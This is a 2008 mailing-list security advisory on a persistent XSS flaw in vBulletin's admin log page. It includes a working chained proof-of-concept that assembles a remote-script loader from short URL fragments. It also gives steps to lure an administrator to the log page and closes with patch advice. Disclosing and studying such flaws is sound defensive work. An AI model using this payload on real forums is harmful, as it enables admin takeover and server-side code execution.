XSS in admin logs - vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower
- To: bugtraq@xxxxxxxxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: XSS in admin logs - vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower
- From: "Jessica Hope" <jessicasaulhope@xxxxxxxxxxxxxx>
- Date: Tue, 8 Jul 2008 17:59:06 +0100
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=KMm5atXWxa7L7apMgQt/i/OwxZ+Pq3iplaAS0phCQTY=; b=Io50oAeXDHj9XiE6gbfNap3LJc84oazprVOnRw88BpU1EANwjcqNtppCpGYm83d9yp UOj8cs4KA6UscPW4ct2695v04OOR42+qXiJVeiHVmGffqq6Gjn0B49Kfg0kYgYqC7r+u lDOshf/J1W7Nf4qOaF7ss3XClLQuXiTLoRUaw=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=oS49MTA1ZfzXdDF0H/RjEj5Bn5B6wAkTZdWAFo2agQYNPxrbCg3zv3B5cIhROpLwwo AzjWaoCfYkz2F+IZ88n7ETjM/Y9dGGEvCAysGjnOj9jFNVa3Rg3JaLvJKoSJ3WIpEklh 6BlWdOqgdE+cZwRgq+3C7rlDnDmOfTJoFlcu8=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
======================================================================
Advisory : XSS in admin logs
Release Date : July 06th 2008
Application : vBulletin
Version : vBulletin 3.7.2 and lower, vBulletin 3.6.10 PL2 and lower
Platform : PHP
Vendor URL : http://www.vbulletin.com/
Authors : Jessica Hope (jessicasaulhope@xxxxxxxxxxxxxx),
Friends who wish to remain anonymous.
=======================================================================
Overview
Due to various failures in sanitising user input, it is possible to
construct XSS attacks that are rather damaging.
=======================================================================
Discussion
The XSS in question exists on the log viewing page of the admin control panel.
When a missing page is requested, a log is created in the admin area, however
the inputs to this log lack sanitation. The script name is taken from
basename(PHP_SELF), while the action is taken from _REQUEST['do']. Either one
can be used for introducing XSS vectors.
To highlight the severity and underline the fact that his vulnerability is
exploitable:
<html>
<body>
<img src="http://localhost/vB/upload/admincp/faq.php/0?do=<script>/*" />
<img
src="http://localhost/vB/upload/admincp/faq.php/1?do=*/a%3D'document.wri'/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.php/2?do=*/b%3D'te(%22<script
'/*" />
<img src="http://localhost/vB/upload/admincp/faq.php/3?do=*/c%3D'src=http://'/*"
/>
<!--edit to match your data -->
<img src="http://localhost/vB/upload/admincp/faq.php/4?do=*/d%3D'localhost/'/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.php/5?do=*/e%3D''/*" />
<img
src="http://localhost/vB/upload/admincp/faq.php/6?do=*/f%3D't.js></scrip'/*"
/>
<!-- end edit -->
<img src="http://localhost/vB/upload/admincp/faq.php/7?do=*/g%3D't>%22)'/*" />
<img
src="http://localhost/vB/upload/admincp/faq.php/8?do=*/h%3Da%2Bb%2Bc%2Bd%2Be%2Bf%2Bg/*"
/>
<img src="http://localhost/vB/upload/admincp/faq.php/9?do=*/eval(h)/*" />
<img src="http://localhost/vB/upload/admincp/faq.php/a0?do=*/</script>" />
</body>
</html>
You then need to send the admin to
adminlog.php?do=view&script=&u=0&pp=15&orderby=script&page=1
and the XSS will render.
The limits on the XSS:
basename(PHP_SELF) is 50 characters max and no slashes
_REQUEST['do'] is limited to 20 characters, but no character restriction.
The tight character limits on the unsanitized parameters are not
mitigating the severity, as unlimited
attack space can be obtained as shown above.
As per my last exploits, all XSS in the vBulletin ACP can be used for
PHP injection instantly. This
is due to the design of the vBulletin hooks feature. As this
particular XSS is persistent and will
render in all major browsers it is particularly dangerous.
=======================================================================
Solution:
Update to vBulletin 3.7.2 PL1 or vBulletin 3.6.10 PL3
Don't trust PHP_SELF and sanitise all data that is going to be
displayed to the user
=======================================================================